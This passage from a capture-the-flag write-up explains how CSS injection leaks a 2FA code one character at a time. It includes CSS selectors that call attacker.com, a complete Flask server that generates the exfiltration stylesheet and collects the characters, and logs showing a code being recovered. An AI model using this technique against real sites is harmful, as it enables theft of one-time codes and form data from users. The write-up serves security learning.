background-image: url(https://attacker.com/);
}
```
and didn't get any hit. Ok, the input name must be different then - let's widen that by just matching on a single character:
```css
input[name^=c]{
background-image: url(https://attacker.com/);
}
```
That gives a hit, so we're on the right track. But if the name is not `challenge_answer` but starts with `c`, what could that be? Re-reading the message again I realised that the name is likely to be `code`: `We have sent the payment challenge to your 2FA, you have 2 minutes to enter the code, please enter it below`.
When I tried an exact match on `code`, I didn't get any hit though:
```css
input[name=code]{
background-image: url(https://attacker.com/);
}
```
So the name must be starting with the code then. At this point I added a match on the first character of the value to see if I get anything back, and to my surprise I got 7 hits!
```css
input[name^=code][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name^=code][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
...
```
(I've used all ASCII letters, both uppercase and lowercase, and digits).
This is when it struck me that there are, in fact, 7 separate inputs on the page, each containing a single character. This made perfect sense, as to exfiltrate such code we don't need any sequential imports - we just need many selectors.
But before we get there, we need to know exact names of inputs - because we need to know the exact order of characters. If we simply match on `input[name^=code]` we'd never know which character is at which place.
So I quickly made another few iterations on progressively matching the next character to determine the input names and they turned out to be `code_1`, `code_2`, ..., `code_7`. From there it was all really trivial.
Let's see what my final code looks like, and then we can break it down piece by piece:
I'm using Flask here. Since it needs to be available on public internet and with a valid HTTPS certificate, I'm not focusing on how this could be ran / deployed. Rather, this shows Flask routes with all the relevant logic of the exploit.
```python
import logging
import string
from collections import defaultdict
from typing import List
from uuid import uuid4
from flask import url_for, Response, current_app, request
from . import blueprint
logger = logging.getLogger(__name__)
NUM_CHARS = 7
ALLOWED_CHARS = string.digits + string.ascii_letters + string.punctuation
# Store exfiltrated results in a dict where keys are sessions and values are 7-element lists
code_chars = defaultdict(lambda: [None] * NUM_CHARS)
original_css = """
/**
Template for the UNI 2FA App
*/
body {
background-color: #FFFFFF;
}
div.branding {
height:80px;
width:80px;
margin:20px auto 40px auto;
background-image:url("https://www.bountypay.h1ctf.com/images/bountypay.png");
background-position:center center;
background-repeat: no-repeat;
background-size: cover;
}
"""
@blueprint.route('/uni_2fa_style.css')
def uni_2fa_style_css():
session = request.args.get('session', uuid4().hex[:5])
def selector(pos, char):
name = escape_css_selector(f'code_{pos + 1}')
value = escape_css_selector(char)
callback = url_for(".h1_2006_callback", session=session, pos=pos, char=char, _external=True, _scheme='https')
return f'input[name="{name}"][value="{value}"]{{background-image: url({callback});}}'
selectors = [selector(pos, char) for pos in range(NUM_CHARS) for char in ALLOWED_CHARS]
css = '\n'.join(selectors + [original_css])
return Response(css, mimetype='text/css')
@blueprint.route('/h1-2006-callback/<session>/<int:pos>/<char>')
def h1_2006_callback(session: str, pos: int, char: str):
global code_chars
chars: List = code_chars[session]
chars[pos] = char
if None not in chars:
code = ''.join(chars)
logger.info(f"[session {session}] Exfiltrated code: {code}")
return '', 204 # 204 No Content, i.e. just empty response
def escape_css_selector(selector: str) -> str:
return selector \
.replace("\\", "\\\\") \
.replace("!", "\\!") \
.replace("\"", "\\\"") \
.replace("#", "\\#") \
.replace("$", "\\$") \
.replace("%", "\\%") \
.replace("&", "\\&") \
.replace("'", "\\'") \
.replace("(", "\\(") \
.replace(")", "\\)") \
.replace("*", "\\*") \
.replace("+", "\\+") \
.replace(",", "\\,") \
.replace("-", "\\-") \
.replace(".", "\\.") \
.replace("/", "\\/") \
.replace(":", "\\:") \
.replace(";", "\\;") \
.replace("<", "\\<") \
.replace("=", "\\=") \
.replace(">", "\\>") \
.replace("?", "\\?") \
.replace("@", "\\@") \
.replace("[", "\\[") \
.replace("]", "\\]") \
.replace("^", "\\^") \
.replace("`", "\\`") \
.replace("{", "\\{") \
.replace("|", "\\|") \
.replace("}", "\\}") \
.replace("~", "\\~")
```
Let's break it down.
Firstly, we build a stylesheet by adding a selector for every code input field, and for every possible character. You would notice that I also use a `session` within my callbacks - this is to ensure that responses from overlapping attempts won't ever get mixed up.
```python
@blueprint.route('/uni_2fa_style.css')
def uni_2fa_style_css():
session = request.args.get('session', uuid4().hex[:5])
def selector(pos, char):
name = escape_css_selector(f'code_{pos + 1}')
value = escape_css_selector(char)
callback = url_for(".h1_2006_callback", session=session, pos=pos, char=char, _external=True, _scheme='https')
return f'input[name="{name}"][value="{value}"]{{background-image: url({callback});}}'
selectors = [selector(pos, char) for pos in range(NUM_CHARS) for char in ALLOWED_CHARS]
css = '\n'.join(selectors + [original_css])
return Response(css, mimetype='text/css')
```
You can see the resulting CSS generated by this code e.g. [here](https://py.whitehat-hacker.com/poc/ctf/uni_2fa_style.css):
```css
input[name="code_1"][value="0"]{background-image: url(https://py.whitehat-hacker.com/poc/ctf/h1-2006-callback/09278/0/0);}
input[name="code_1"][value="1"]{background-image: url(https://py.whitehat-hacker.com/poc/ctf/h1-2006-callback/09278/0/1);}
input[name="code_1"][value="2"]{background-image: url(https://py.whitehat-hacker.com/poc/ctf/h1-2006-callback/09278/0/2);}
input[name="code_1"][value="3"]{background-image: url(https://py.whitehat-hacker.com/poc/ctf/h1-2006-callback/09278/0/3);}
input[name="code_1"][value="4"]{background-image: url(https://py.whitehat-hacker.com/poc/ctf/h1-2006-callback/09278/0/4);}
...
```
What's worth noting is that certain characters have to be escaped within CSS selectors - this is what my `escape_css_selector` function is for. To build a proper escaping function that would cover all cases is actually no easy task. If you're into that sort of stuff, I highly recommend [CSS character escape sequences](https://mathiasbynens.be/notes/css-escapes) blog post by [Mathias Bynens](https://twitter.com/mathias), who has also made an [online tool] (https://mothereff.in/css-escapes) to do such escaping, with [source code [javascript]](https://github.com/mathiasbynens/mothereff.in/tree/master/css-escapes) available on GitHub. In our case we don't need to handle all these edge cases though, and in fact I've bluntly copy-pasted the escaping part from d0nutptr's [sic](https://github.com/d0nutptr/sic/blob/master/src/main.rs#L298-L330) tool.
We're using a dict of lists (keyed by session) to store the characters we receive at the right places in the list:
```python
# Store exfiltrated results in a dict where keys are sessions and values are 7-element lists
code_chars = defaultdict(lambda: [None] * NUM_CHARS)
```
And lastly, the route for the callback - we just keep collecting the characters, and when we have all 7 for this session, we join them up and log the code:
```python
@blueprint.route('/h1-2006-callback/<session>/<int:pos>/<char>')
def h1_2006_callback(session: str, pos: int, char: str):
global code_chars
chars: List = code_chars[session]
chars[pos] = char
if None not in chars:
code = ''.join(chars)
logger.info(f"[session {session}] Exfiltrated code: {code}")
return '', 204 # 204 No Content, i.e. just empty response
```
A sample output of running such code (and passing our stylesheet to the 2FA challenge) is like this:
```
[Thread-10 |pid:17455] INFO: 172.17.0.2 - - [09/Jun/2020 00:33:34] "GET /poc/ctf/uni_2fa_style.css HTTP/1.0" 200 -
[Thread-11 |pid:17455]INFO: 172.17.0.2 - - [09/Jun/2020 00:33:34] "GET /poc/ctf/h1-2006-callback/0cc2d/0/b HTTP/1.0" 204 -
[Thread-12 |pid:17455] INFO: 172.17.0.2 - - [09/Jun/2020 00:33:34] "GET /poc/ctf/h1-2006-callback/0cc2d/1/N HTTP/1.0" 204 -
[Thread-13 |pid:17455] INFO: 172.17.0.2 - - [09/Jun/2020 00:33:34] "GET /poc/ctf/h1-2006-callback/0cc2d/2/f HTTP/1.0" 204 -
[Thread-14 |pid:17455] INFO: 172.17.0.2 - - [09/Jun/2020 00:33:34] "GET /poc/ctf/h1-2006-callback/0cc2d/3/Q HTTP/1.0" 204 -
[Thread-15 |pid:17455] INFO: 172.17.0.2 - - [09/Jun/2020 00:33:34] "GET /poc/ctf/h1-2006-callback/0cc2d/4/h HTTP/1.0" 204 -
[Thread-16 |pid:17455] INFO: 172.17.0.2 - - [09/Jun/2020 00:33:34] "GET /poc/ctf/h1-2006-callback/0cc2d/5/D HTTP/1.0" 204 -
[Thread-17 |pid:17455] INFO: [session 0cc2d] Exfiltrated code: bNfQhDT
[Thread-17 |pid:17455] INFO: 172.17.0.2 - - [09/Jun/2020 00:33:34] "GET /poc/ctf/h1-2006-callback/0cc2d/6/T HTTP/1.0" 204 -
```
Once we obtain the code, we simply submit it as a response for 2FA challenge using the corresponding input on the page, and we're finally presented with the flag!
{F863338}
If you've read this far, thank you very much for bearing with me!
--------------------------------------------
References
Tools
* [Amass](https://github.com/OWASP/Amass)
* [Massdns](https://github.com/blechschmidt/massdns)
* [commonspeak2](https://github.com/assetnote/commonspeak2-wordlists/blob/master/subdomains/subdomains.txt)
* [dnsgen](https://github.com/ProjectAnte/dnsgen)
* [ffuf](https://github.com/ffuf/ffuf)
* [gitdumper.sh](https://github.com/internetwache/GitTools/blob/master/Dumper/gitdumper.sh)
* [dex2jar](https://github.com/pxb1988/dex2jar)
* [JD-GUI](http://java-decompiler.github.io/)
* [sic](https://github.com/d0nutptr/sic)
* [CSS escapes](https://github.com/mathiasbynens/mothereff.in/tree/master/css-escapes) with [online tool] (https://mothereff.in/css-escapes)
Techniques / Blog posts
* [Subdomain Enumeration: 2019 Workflow](https://0xpatrik.com/subdomain-enumeration-2019/) by [Patrik Hudak](https://twitter.com/0xpatrik)
* [Better Exfiltration via HTML Injection](https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b) by [@d0nutptr](https://twitter.com/d0nutptr)
* [CSS Injection Attacks](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) by [Pepe Vila](https://twitter.com/cgvwzq)
* [CSS data exfiltration in Firefox via a single injection point](https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/) by [Michał Bentkowski](https://twitter.com/securitymb)
* [CSS character escape sequences](https://mathiasbynens.be/notes/css-escapes) by [Mathias Bynens](https://twitter.com/mathias)
## Impact
-
Actions
View on HackerOneReport Stats
- Report ID: 895778
- State: Closed
- Substate: resolved
- Upvotes: 10